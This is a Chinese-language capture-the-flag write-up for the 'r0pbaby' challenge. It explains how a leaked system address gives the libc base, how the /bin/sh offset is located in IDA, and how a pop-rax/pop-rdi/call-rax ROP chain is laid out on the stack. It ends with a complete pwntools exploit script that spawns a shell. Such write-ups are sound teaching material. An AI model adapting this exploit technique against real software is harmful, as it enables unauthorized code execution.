r0pbaby

    科技2024-04-11  98

    解题思路

    在选择2时,会回送输入函数的真实地址。当输入system函数的时候,system真实地址就爆出来了。我们还需要/bin/sh的真实地址才能凑成system("/bin/sh")得到shell。首先要得到libc的基址、system在libc中的偏移、/bin/sh在libc中的偏移。 libc基址+system基址=system的真实地址 libc基址+/bin/sh的偏移=/bin/sh的真实地址 如上图,二进制文件执行时,会调用动态链接库libc.so,需要什么函数就调用什么。

    查找system和/bin/sh的偏移地址

    使用libc.so.6获取里面的system和/bin/sh的偏移地址。为什么libc.so的函数地址不是真实地址?因为libc.so是个文件,其中的函数地址是以文件的开头作为基准的,所以libc中的system地址只是一个偏移,而内存中的才是函数真实地址。

    先查看libc.so.6: libc.so.6是libc-2.27.so的软链接,需要把libc-2.27.so拷出来。 把libc-2.27.so拖到IDA中,在左侧窗口中任意单击一个函数,快捷键ctrl+f,输入system,查看其地址。 快捷键shift+f12调出字符串窗口,单击任意处按快捷键ctrl+f,输入/bin/sh,获得地址。

    栈图

    如图,此时,rsp指到0x10的位置。也就是将要执行leave剩下的部分:pop rbp。执行完后,rsp会指到0x18;

    接着执行ret,也就是pop rdi,rsp再下降一格,ppc指令的地址弹到rip上;下一条就会执行ppc。

    执行pop rax时,rsp的内容也就是system地址会被弹到rax上。rsp再往下降一格。rip指向pop rdi指令。

    执行pop rdi时,/bin/sh地址会被弹到rdi上。最后调用call rax也就是system函数。

    查看ppc的地址

    编写脚本

    from pwn import * #context.log_level='debug' p=process('./r0pbaby') system_addr_offset=0x4F4E0 binsh_addr_offset=0x1B40FA pop_addr_offset=0x121a3b p.recvuntil(": ") p.sendline("2") p.recvuntil(": ") p.sendline("system") system_addr=p.recvline().split(": ")[1].strip("\n") system_addr=long(system_addr,16) libcbase=system_addr-system_addr_offset binsh_addr=libcbase+binsh_addr_offset pop_addr=libcbase+pop_addr_offset p.recvuntil(": ") p.sendline("3") p.recvuntil(": ") payload="A"*8+p64(pop_addr)+p64(system_addr)+p64(binsh_addr) payload_len=len(payload) p.sendline(str(payload_len)) p.sendline(payload) p.recvline() p.interactive()

    ** 大功告成 **

    Processed: 0.009, SQL: 8